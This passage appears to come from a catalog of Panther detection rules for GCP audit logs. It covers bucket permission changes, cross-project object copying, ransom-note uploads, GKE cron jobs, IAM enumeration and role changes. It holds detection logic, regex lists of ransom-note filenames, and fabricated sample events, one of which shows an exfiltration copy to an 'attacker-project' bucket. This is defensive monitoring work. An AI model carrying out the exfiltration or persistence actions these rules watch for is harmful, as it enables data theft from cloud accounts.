"callerIP": "1.2.3.4",
"callerIp": "1.2.3.4",
"callerSuppliedUserAgent": "apitools Python/3.13.7 gsutil/5.35 (linux) analytics/enabled interactive/True invocation-id/000000000098a6854caf369de05cd1c0 command/rewrite-k google-cloud-sdk/548.0.0,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2025-12-15T15:35:44.477602259Z"
}
},
"resourceLocation": {
"currentLocations": [
"us"
]
},
"resourceName": "projects/_/buckets/victim-bucket/objects/victim-file.txt",
"serviceData": {
"@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"at_sign_type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"policyDelta": {}
},
"serviceName": "storage.googleapis.com",
"status": {}
},
"receiveTimestamp": "2025-12-15 15:35:45.157653388",
"resource": {
"labels": {
"bucket_name": "victim-bucket",
"location": "us",
"project_id": "your-project"
},
"type": "gcs_bucket"
},
"severity": "INFO",
"timestamp": "2025-12-15 15:35:44.471503481"
}
GCP GCS IAM Permission Changes
#Monitoring changes to Cloud Storage bucket permissions may reduce time to detect and correct permissions on sensitive Cloud Storage bucket and objects inside the bucket.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Collection |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | storage.setIamPermissions: Set IAM permissions on bucket |
Rules detecting the same action
These rules filter on the same operation.
- Detect New Open GCP Storage Buckets (Splunk)
- GCP Storage Bucket Permissions Modification (Elastic)
- GCS Bucket Made Public (Panther)
Detection logic
def rule(event):
return (
event.deep_get("resource", "type") == "gcs_bucket"
and event.deep_get("protoPayload", "methodName") == "storage.setIamPermissions"
)
def dedup(event):
return event.deep_get("resource", "labels", "project_id", default="<UNKNOWN_PROJECT>")
Rule specification
AnalysisType: rule
Filename: gcp_gcs_iam_changes.py
RuleID: "GCP.GCS.IAMChanges"
DisplayName: "GCP GCS IAM Permission Changes"
Enabled: true
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Google Cloud Storage
- Collection:Data From Cloud Storage Object
Reports:
CIS:
- 2.10
MITRE ATT&CK:
- TA0009:T1530
Severity: Low
Description: >
Monitoring changes to Cloud Storage bucket permissions may reduce time to detect and correct permissions on sensitive Cloud Storage bucket and objects inside the bucket.
Runbook: Validate the GCS bucket change was safe.
Reference: https://cloud.google.com/storage/docs/access-control/iam-permissions
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_domain_names
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
resource.typeisgcs_bucketprotoPayload.methodNameisstorage.setIamPermissions
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"storage.setIamPermissions" |
resource.type | eq |
| field:"resource.type" kind:eq value:"gcs_bucket" |
Response runbook
Validate the GCS bucket change was safe.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "15cp9rve72xt1",
"logName": "projects/western-verve-123456/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@runpanther.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "storage.buckets.setIamPolicy",
"resource": "projects/_/buckets/jacks-test-bucket",
"resourceAttributes": {}
}
],
"methodName": "storage.setIamPermissions",
"requestMetadata": {
"callerIp": "136.24.229.58",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2020-05-15T04:28:42.243082428Z"
}
},
"resourceLocation": {
"currentLocations": [
"us"
]
},
"resourceName": "projects/_/buckets/jacks-test-bucket",
"serviceData": {
"@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"policyDelta": {
"bindingDeltas": [
{
"action": "ADD",
"member": "allUsers",
"role": "roles/storage.objectViewer"
}
]
}
},
"serviceName": "storage.googleapis.com",
"status": {}
},
"receiveTimestamp": "2020-05-15T04:28:42.900626148Z",
"resource": {
"labels": {
"bucket_name": "jacks-test-bucket",
"location": "us",
"project_id": "western-verve-123456"
},
"type": "gcs_bucket"
},
"severity": "NOTICE",
"timestamp": "2020-05-15T04:28:42.237027213Z"
}
GCP GCS Object Copied to Different Bucket
#Detects when GCS objects are copied from one bucket to a bucket in a different GCP project. Cross-project copies are more suspicious than same-project copies and can indicate data exfiltration where an adversary copies sensitive data to a project they control. The threshold of 50+ copy operations suggests bulk exfiltration rather than normal operations. This is detected by monitoring storage.objects.get operations that include a destination field in the metadata, indicating a copy operation.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Exfiltration |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | storage.objects.get: get |
Detection logic
def _parse_destination(destination):
"""Parse bucket and project from destination path.
Returns tuple: (dest_bucket, dest_project)
destination format: projects/PROJECT_ID/buckets/BUCKET_NAME/objects/...
"""
dest_bucket = None
dest_project = None
if "buckets/" in destination and "objects/" in destination:
try:
dest_bucket = destination.split("buckets/")[1].split("/objects/")[0]
except (IndexError, AttributeError):
pass
if "projects/" in destination and "buckets/" in destination:
try:
project = destination.split("projects/")[1].split("/buckets/")[0]
dest_project = project if project != "_" else None
except (IndexError, AttributeError):
pass
return dest_bucket, dest_project
def rule(event):
if (
event.deep_get("protoPayload", "methodName") != "storage.objects.get"
or event.deep_get("protoPayload", "serviceName") != "storage.googleapis.com"
or event.get("severity") == "ERROR" # Operation failed
or not event.deep_get("protoPayload", "metadata", "destination")
):
return False
# Extract source and destination buckets and projects
source_bucket = event.deep_get("resource", "labels", "bucket_name")
source_project = event.deep_get("resource", "labels", "project_id")
destination = event.deep_get("protoPayload", "metadata", "destination", default="")
dest_bucket, dest_project = _parse_destination(destination)
# Validate required fields
if not all([source_bucket, dest_bucket, source_project, dest_project]):
return False
# Only alert on cross-project copies (more suspicious than same-project copies)
is_different_bucket = source_bucket != dest_bucket
is_cross_project = dest_project != source_project
return is_different_bucket and is_cross_project
def severity(event):
"""Dynamic severity based on whether destination is in a different project."""
source_project = event.deep_get("resource", "labels", "project_id")
destination = event.deep_get("protoPayload", "metadata", "destination", default="")
_, dest_project = _parse_destination(destination)
if dest_project and source_project and dest_project != source_project:
return "DEFAULT"
return "LOW"
def title(event):
source_bucket = event.deep_get("resource", "labels", "bucket_name", default="Unknown")
source_project = event.deep_get("resource", "labels", "project_id", default="Unknown")
destination = event.deep_get("protoPayload", "metadata", "destination", default="")
dest_bucket, dest_project = _parse_destination(destination)
if not dest_bucket:
dest_bucket = "Unknown"
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="Unknown"
)
# Different title based on cross-project vs same-project
if dest_project and source_project != "Unknown" and dest_project != source_project:
return (
f"CROSS-PROJECT: GCS object copied from "
f"[{source_project}/{source_bucket}] to "
f"[{dest_project}/{dest_bucket}] by [{actor}]"
)
return (
f"GCS object copied from bucket " f"[{source_bucket}] to [{dest_bucket}] " f"by [{actor}]"
)
def alert_context(event):
destination = event.deep_get("protoPayload", "metadata", "destination", default="")
dest_bucket, dest_project = _parse_destination(destination)
source_project = event.deep_get("resource", "labels", "project_id")
is_cross_project = dest_project and source_project and dest_project != source_project
return {
"principal": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
"source_project": source_project,
"source_bucket": event.deep_get("resource", "labels", "bucket_name"),
"destination_project": dest_project,
"destination_bucket": dest_bucket,
"is_cross_project": is_cross_project,
"destination_path": destination,
"source_object": event.deep_get("protoPayload", "resourceName"),
"source_ip": event.deep_get("protoPayload", "requestMetadata", "callerIp"),
"user_agent": event.deep_get("protoPayload", "requestMetadata", "callerSuppliedUserAgent"),
"bytes_requested": event.deep_get("protoPayload", "metadata", "requested_bytes"),
}
Rule specification
AnalysisType: rule
Filename: gcp_gcs_object_exfiltration.py
RuleID: "GCP.GCS.ObjectExfiltration"
DisplayName: "GCP GCS Object Copied to Different Bucket"
Enabled: true
Threshold: 50
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Google Cloud Storage
- Exfiltration:Transfer Data to Cloud Account
- Ransomware
Reports:
MITRE ATT&CK:
- TA0010:T1537
Severity: Medium
Description: >
Detects when GCS objects are copied from one bucket to a bucket in a different GCP project.
Cross-project copies are more suspicious than same-project copies and can indicate data
exfiltration where an adversary copies sensitive data to a project they control. The
threshold of 50+ copy operations suggests bulk exfiltration rather than normal operations.
This is detected by monitoring storage.objects.get operations that include a destination
field in the metadata, indicating a copy operation.
Runbook: |
1. Query GCP Audit logs for all storage.objects.get operations with destination metadata by authenticationInfo:principalEmail in the 2 hours around this alert to identify the full scope of copy operations
2. Check if the protoPayload:metadata:destination bucket belongs to the same project, a different project in the organization, or an external attacker-controlled project
3. Review GCP Audit logs for IAM permission changes, service account key creation, or bucket policy modifications by this principal in the 24 hours before the first copy operation
Reference: https://cloud.google.com/storage/docs/copying-renaming-moving-objects
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_emails
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameisstorage.objects.getprotoPayload.serviceNameisstorage.googleapis.comseverityis notERRORprotoPayload.metadata.destinationis presentresource.labels.bucket_nameis presentresource.labels.project_idis present
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
protoPayload.metadata.destination | is_null | excludes:protoPayload.metadata.destination | |
protoPayload.methodName | ne | storage.objects.get | excludes:protoPayload.methodName field:"protoPayload.methodName" value:"storage.objects.get" |
protoPayload.serviceName | ne | storage.googleapis.com | excludes:protoPayload.serviceName field:"protoPayload.serviceName" value:"storage.googleapis.com" |
severity | eq | ERROR | excludes:severity field:"severity" value:"ERROR" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
resource.labels.bucket_name | is_not_null | field:"resource.labels.bucket_name" kind:is_not_null | |
resource.labels.project_id | is_not_null | field:"resource.labels.project_id" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
principal | protoPayload.authenticationInfo.principalEmail |
source_project | resource.labels.project_id |
source_bucket | resource.labels.bucket_name |
destination_path | protoPayload.metadata.destination |
source_object | protoPayload.resourceName |
source_ip | protoPayload.requestMetadata.callerIp |
user_agent | protoPayload.requestMetadata.callerSuppliedUserAgent |
bytes_requested | protoPayload.metadata.requested_bytes |
Response runbook
1. Query GCP Audit logs for all storage.objects.get operations with destination metadata by authenticationInfo:principalEmail in the 2 hours around this alert to identify the full scope of copy operations
2. Check if the protoPayload:metadata:destination bucket belongs to the same project, a different project in the organization, or an external attacker-controlled project
3. Review GCP Audit logs for IAM permission changes, service account key creation, or bucket policy modifications by this principal in the 24 hours before the first copy operation
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "denethor@lotr.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "storage.objects.get",
"resource": "projects/_/buckets/source-bucket/objects/sensitive.txt"
}
],
"metadata": {
"destination": "projects/attacker-project/buckets/exfil-bucket/objects/sensitive.txt",
"requested_bytes": 12345
},
"methodName": "storage.objects.get",
"requestMetadata": {
"callerIp": "1.2.3.4",
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/548.0.0 command/gcloud.storage.cp"
},
"resourceName": "projects/_/buckets/source-bucket/objects/sensitive.txt",
"serviceName": "storage.googleapis.com",
"status": {}
},
"resource": {
"labels": {
"bucket_name": "source-bucket",
"location": "us",
"project_id": "victim-project"
},
"type": "gcs_bucket"
},
"severity": "INFO",
"timestamp": "2025-12-15 15:55:03.915792086"
}
GCP GCS Ransom Note Upload
#Detects when a file with a name matching common ransomware note patterns is uploaded to a Google Cloud Storage bucket. Ransomware attackers often leave ransom notes with distinctive filenames to provide victims with payment instructions.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Impact |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | storage.objects.create: Create object |
Rules detecting the same action
These rules filter on the same operation.
- GCP GCS Bulk Object Rewrite Operation (Panther)
Detection logic
import re
# Common ransomware note filename patterns
RANSOM_NOTE_PATTERNS = [
# Explicit ransomware-related terms
# RANSOM_NOTE.txt, PAYMENT_INFO.html
r"(?i)(ransom|payment)[_-]?(note|info|instructions?).*\.(txt|html?)$",
# Decrypt/restore with specific action words
# HOW_TO_DECRYPT_FILES.txt
r"(?i)how[_-]?to[_-]?(decrypt|restore|recover)[_-]?(your[_-]?)?files.*\.(txt|html?)$",
# DECRYPT_INSTRUCTIONS.txt
r"(?i)decrypt[_-]?(instructions?|guide|info|your[_-]?files).*\.(txt|html?)$",
# RESTORE_INSTRUCTIONS.txt
r"(?i)restore[_-]?(instructions?|guide|info|your[_-]?files).*\.(txt|html?)$",
# RECOVERY_INSTRUCTIONS.txt
r"(?i)recovery[_-]?(instructions?|key|guide).*\.(txt|html?)$",
# Files encrypted/locked messages
# FILES_ENCRYPTED.txt, ALL_FILES_HAVE_BEEN_ENCRYPTED.txt
r"(?i)(all[_-]?)?files?[_-]?(have[_-]?been[_-]?)?(encrypted|locked).*\.(txt|html?)$",
# YOUR_FILES_ARE_ENCRYPTED.txt
r"(?i)your[_-]?files?[_-]?(are|have[_-]?been)[_-]?(encrypted|locked).*\.(txt|html?)$",
# DATA_ENCRYPTED.txt
r"(?i)data[_-]?(has[_-]?been[_-]?)?(encrypted|locked).*\.(txt|html?)$",
# Unlock-related (common in ransomware)
# UNLOCK_INSTRUCTIONS.txt
r"(?i)unlock[_-]?(instructions?|guide|your[_-]?files).*\.(txt|html?)$",
# Help decrypt/restore (specific to ransomware)
# HELP_DECRYPT_YOUR_FILES.txt
r"(?i)help[_-]?(restore|decrypt|recover)[_-]?(your[_-]?)?files.*\.(txt|html?)$",
]
COMPILED_PATTERNS = [re.compile(pattern) for pattern in RANSOM_NOTE_PATTERNS]
def rule(event):
if event.deep_get("protoPayload", "serviceName") != "storage.googleapis.com":
return False
# Focus on the create operation (the actual re-encryption)
method = event.deep_get("protoPayload", "methodName", default="<UNKNOWN_METHOD")
if method != "storage.objects.create":
return False
# Check for filename
resource = event.deep_get("protoPayload", "resourceName", default="")
obj_name = resource.split("/objects/")[-1] if "/objects/" in resource else "<UNKNOWN_FILE>"
return any(pattern.match(obj_name) for pattern in COMPILED_PATTERNS)
def title(event):
resource = event.deep_get("protoPayload", "resourceName", default="")
obj_name = resource.split("/objects/")[-1] if "/objects/" in resource else "<UNKNOWN_FILE>"
bucket = event.deep_get("resource", "labels", "bucket_name", default="<UNKNOWN_BUCKET>")
user = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN_USER>"
)
return (
f"[GCP] Potential ransomware note uploaded to GCS bucket: "
f"[{obj_name}] in bucket [{bucket}] by user [{user}]"
)
Rule specification
AnalysisType: rule
DisplayName: "GCP GCS Ransom Note Upload"
LogTypes:
- GCP.AuditLog
RuleID: "GCP.GCS.Ransom.Note.Upload"
Enabled: true
Filename: gcp_gcs_ransom_note_upload.py
Description: >
Detects when a file with a name matching common ransomware note patterns is uploaded to a Google Cloud Storage bucket.
Ransomware attackers often leave ransom notes with distinctive filenames to provide victims with payment instructions.
Runbook: |
1. Query GCP Audit logs for all bucket operations by the principal email in the 24 hours before and after this alert
2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns
3. Search for related KMS key changes or IAM policy modifications on the same bucket in the past 6 hours
4. Look for bulk object operations (rewrite, copy, delete) on this bucket in the past 24 hours that could indicate file encryption
5. Verify backups are intact and check for any bucket configuration changes (versioning, retention, encryption) in the past 24 hours
Reference: https://attack.mitre.org/techniques/T1486/
Tags:
- GCP
- Google Cloud Storage
- Impact:Data Encrypted for Impact
- Ransomware
Reports:
MITRE ATT&CK:
- TA0040:T1486
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_emails
Severity: High
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.serviceNameisstorage.googleapis.comprotoPayload.methodNameisstorage.objects.create
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"storage.objects.create" |
protoPayload.serviceName | eq |
| field:"gcp::service_name" kind:eq value:"storage.googleapis.com" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
bucket_name | resource.labels.bucket_name |
principalEmail | protoPayload.authenticationInfo.principalEmail |
Response runbook
1. Query GCP Audit logs for all bucket operations by the principal email in the 24 hours before and after this alert
2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns
3. Search for related KMS key changes or IAM policy modifications on the same bucket in the past 6 hours
4. Look for bulk object operations (rewrite, copy, delete) on this bucket in the past 24 hours that could indicate file encryption
5. Verify backups are intact and check for any bucket configuration changes (versioning, retention, encryption) in the past 24 hours
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "1vfv897ejxgc2",
"logName": "projects/example-project/logs/cloudaudit.googleapis.com%2Fdata_access",
"p_any_emails": [
"denethor@lotr.com"
],
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_any_usernames": [
"user"
],
"p_event_time": "2025-12-12 22:05:35.878912806",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2025-12-12 22:06:21.141743969",
"p_row_id": "000000000013a23f82a982753925d2c2",
"p_schema_version": 0,
"p_source_id": "bd7da315-647e-4eca-bcfe-083fab18f3f1",
"p_source_label": "gcp-audit-logs",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"oauthInfo": {
"oauthClientId": "111111111111-abcdefghijklmnopqrstuvwxyz123456.apps.googleusercontent.com"
},
"principalEmail": "denethor@lotr.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "storage.objects.delete",
"resource": "projects/_/buckets/data-bucket/objects/HOW_TO_DECRYPT_FILES.txt",
"resourceAttributes": {}
},
{
"granted": true,
"permission": "storage.objects.create",
"resource": "projects/_/buckets/data-bucket/objects/HOW_TO_DECRYPT_FILES.txt",
"resourceAttributes": {}
}
],
"methodName": "storage.objects.create",
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerIp": "1.2.3.4",
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/548.0.0 command/gcloud.storage.cp invocation-id/abc123def456 environment/devshell environment-version/None client-os/LINUX client-os-ver/6.6.111 client-pltf-arch/x86_64 interactive/False from-script/False python/3.13.7,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2025-12-12T22:05:35.887374247Z"
}
},
"resourceLocation": {
"currentLocations": [
"us"
]
},
"resourceName": "projects/_/buckets/data-bucket/objects/HOW_TO_DECRYPT_FILES.txt",
"serviceData": {
"@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"at_sign_type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"policyDelta": {}
},
"serviceName": "storage.googleapis.com",
"status": {}
},
"receiveTimestamp": "2025-12-12 22:05:36.474700595",
"resource": {
"labels": {
"bucket_name": "data-bucket",
"location": "us",
"project_id": "example-project"
},
"type": "gcs_bucket"
},
"severity": "INFO",
"timestamp": "2025-12-12 22:05:35.878912806"
}
GCP GKE Kubernetes Cron Job Created Or Modified
#This detection monitor for any modifications or creations of a cron job in GKE. Attackers may create or modify an existing scheduled job in order to achieve cluster persistence.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if (
auth.get("permission")
in ["io.k8s.batch.v1.cronjobs.create", "io.k8s.batch.v1.cronjobs.update"]
and auth.get("granted") is True
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: "GCP.GKE.Kubernetes.Cron.Job.Created.Or.Modified"
DisplayName: "GCP GKE Kubernetes Cron Job Created Or Modified"
Description:
This detection monitor for any modifications or creations of a cron job in GKE. Attackers may create
or modify an existing scheduled job in order to achieve cluster persistence.
Enabled: true
Filename: gcp_k8s_cron_job_created_or_modified.py
LogTypes:
- GCP.AuditLog
Severity: Medium
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://medium.com/snowflake/from-logs-to-detection-using-snowflake-and-panther-to-detect-k8s-threats-d72f70a504d7
Runbook: Investigate a reason of creating or modifying a cron job in GKE. Create ticket if appropriate.
Reports:
MITRE ATT&CK:
- TA0003:T1053.003 # Scheduled Task/Job: Cron
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionis one ofio.k8s.batch.v1.cronjobs.create,io.k8s.batch.v1.cronjobs.updateprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionis one ofio.k8s.batch.v1.cronjobs.create,io.k8s.batch.v1.cronjobs.update
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | in |
| field:"protoPayload.authorizationInfo.permission" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Investigate a reason of creating or modifying a cron job in GKE. Create ticket if appropriate.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authorizationInfo": [
{
"granted": true,
"permission": "io.k8s.batch.v1.cronjobs.create"
}
],
"methodName": "v2.deploymentmanager.deployments.insert",
"serviceName": "deploymentmanager.googleapis.com"
},
"receiveTimestamp": "2024-01-19 13:47:19.465856238",
"resource": {
"labels": {
"name": "test-vm-deployment",
"project_id": "panther-threat-research"
},
"type": "deployment"
},
"severity": "NOTICE",
"timestamp": "2024-01-19 13:47:18.279921000"
}
GCP IAM and Tag Enumeration
#Detects enumeration of IAM policies and tags in GCP, which could be a precursor to privilege escalation attempts via tag-based access control.
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
enum_iam_tags = [
"GetIamPolicy",
"TagKeys.ListTagKeys",
"TagKeys.ListTagValues",
"TagBindings.ListEffectiveTags",
]
method_name = event.deep_get("protoPayload", "methodName", default="")
return any(tag in method_name for tag in enum_iam_tags)
def title(event):
principal = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN>"
)
method = event.deep_get("protoPayload", "methodName", default="<UNKNOWN>")
return f"GCP IAM and Tag Enumeration by {principal} - {method}"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: GCP.IAM.Tag.Enumeration
Description: >
Detects enumeration of IAM policies and tags in GCP, which could be a precursor
to privilege escalation attempts via tag-based access control.
DisplayName: GCP IAM and Tag Enumeration
Enabled: true
Filename: gcp_iam_tag_enumeration.py
LogTypes:
- GCP.AuditLog
CreateAlert: false
Runbook: |
Review if the user has legitimate business need for these enumeration operations.
If unauthorized, review and update IAM policies.
Severity: Info
Tags:
- attack.reconnaissance
- attack.t1548
- gcp
- iam
- tagbinding
Stages and Predicates
Fires on GCP.AuditLog events when any of the conditions below holds.
Condition
any of:
protoPayload.methodNamecontainsGetIamPolicyprotoPayload.methodNamecontainsTagKeys.ListTagKeysprotoPayload.methodNamecontainsTagKeys.ListTagValuesprotoPayload.methodNamecontainsTagBindings.ListEffectiveTags
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | contains |
| field:"protoPayload.methodName" kind:contains |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Review if the user has legitimate business need for these enumeration operations.
If unauthorized, review and update IAM policies.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authenticationInfo": {
"principalEmail": "test@example.com"
},
"methodName": "GetIamPolicy",
"resourceName": "projects/test-project"
},
"resource": {
"labels": {
"project_id": "test-project"
}
},
"timestamp": "2024-01-01T00:00:00Z"
}
GCP IAM Role Has Changed
#A custom role has been created, deleted, or updated.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
Detection logic
ROLE_METHODS = {
"google.iam.admin.v1.CreateRole",
"google.iam.admin.v1.DeleteRole",
"google.iam.admin.v1.UpdateRole",
}
def rule(event):
return (
event.deep_get("resource", "type") == "iam_role"
and event.deep_get("protoPayload", "methodName") in ROLE_METHODS
)
def dedup(event):
return event.deep_get("resource", "labels", "project_id", default="<UNKNOWN_PROJECT>")
Rule specification
AnalysisType: rule
Filename: gcp_iam_custom_role_changes.py
RuleID: "GCP.IAM.CustomRoleChanges"
DisplayName: "GCP IAM Role Has Changed"
Enabled: true
DedupPeriodMinutes: 1440 # 24 hours
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Identity & Access Management
- Privilege Escalation:Valid Accounts
Reports:
CIS:
- 2.6
MITRE ATT&CK:
- TA0004:T1078
Severity: Info
Description: A custom role has been created, deleted, or updated.
Runbook: No action needed, informational
Reference: https://cloud.google.com/iam/docs/creating-custom-roles
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_domain_names
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
resource.typeisiam_roleprotoPayload.methodNameis one ofgoogle.iam.admin.v1.CreateRole,google.iam.admin.v1.DeleteRole,google.iam.admin.v1.UpdateRole
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
resource.type | eq |
| field:"resource.type" kind:eq value:"iam_role" |
Response runbook
No action needed, informational
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "y4nffme2rory",
"logName": "projects/western-verve-123456/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user.name@runpanther.io",
"principalSubject": "user:user.name@runpanther.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "iam.roles.create",
"resource": "projects/western-verve-123456",
"resourceAttributes": {}
}
],
"methodName": "google.iam.admin.v1.CreateRole",
"request": {
"@type": "type.googleapis.com/google.iam.admin.v1.CreateRoleRequest",
"parent": "projects/western-verve-123456",
"role": {
"description": "Created on: 2020-05-14",
"included_permissions": [
"apigee.apiproducts.create",
"apigee.apiproducts.delete",
"apigee.apiproducts.get"
],
"stage": 1,
"title": "Jack's custom role"
},
"role_id": "CustomRole"
},
"requestMetadata": {
"callerIp": "136.24.229.58",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2020-05-15T04:11:28.411897632Z"
}
},
"resourceName": "projects/western-verve-123456/roles/CustomRole",
"response": {
"@type": "type.googleapis.com/google.iam.admin.v1.Role",
"description": "Created on: 2020-05-14",
"etag": "BwWlqAHm9IY=",
"group_name": "custom",
"group_title": "Custom",
"included_permissions": [
"apigee.apiproducts.create",
"apigee.apiproducts.delete",
"apigee.apiproducts.get"
],
"name": "projects/western-verve-123456/roles/CustomRole",
"stage": 1,
"title": "Jack's custom role"
},
"serviceData": {
"@type": "type.googleapis.com/google.iam.admin.v1.AuditData",
"permissionDelta": {
"addedPermissions": [
"apigee.apiproducts.create",
"apigee.apiproducts.delete",
"apigee.apiproducts.get"
]
}
},
"serviceName": "iam.googleapis.com",
"status": {}
},
"receiveTimestamp": "2020-05-15T04:11:29.472913078Z",
"resource": {
"labels": {
"project_id": "western-verve-123456",
"role_name": "projects/western-verve-123456/roles/CustomRole"
},
"type": "iam_role"
},
"severity": "NOTICE",
"timestamp": "2020-05-15T04:11:28.224558457Z"
}
GCP IAM serviceAccounts getAccessToken Privilege Escalation
#The Identity and Access Management (IAM) service manages authorization and authentication for a GCP environment. This means that there are very likely multiple privilege escalation methods that use the IAM service and/or its permissions.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
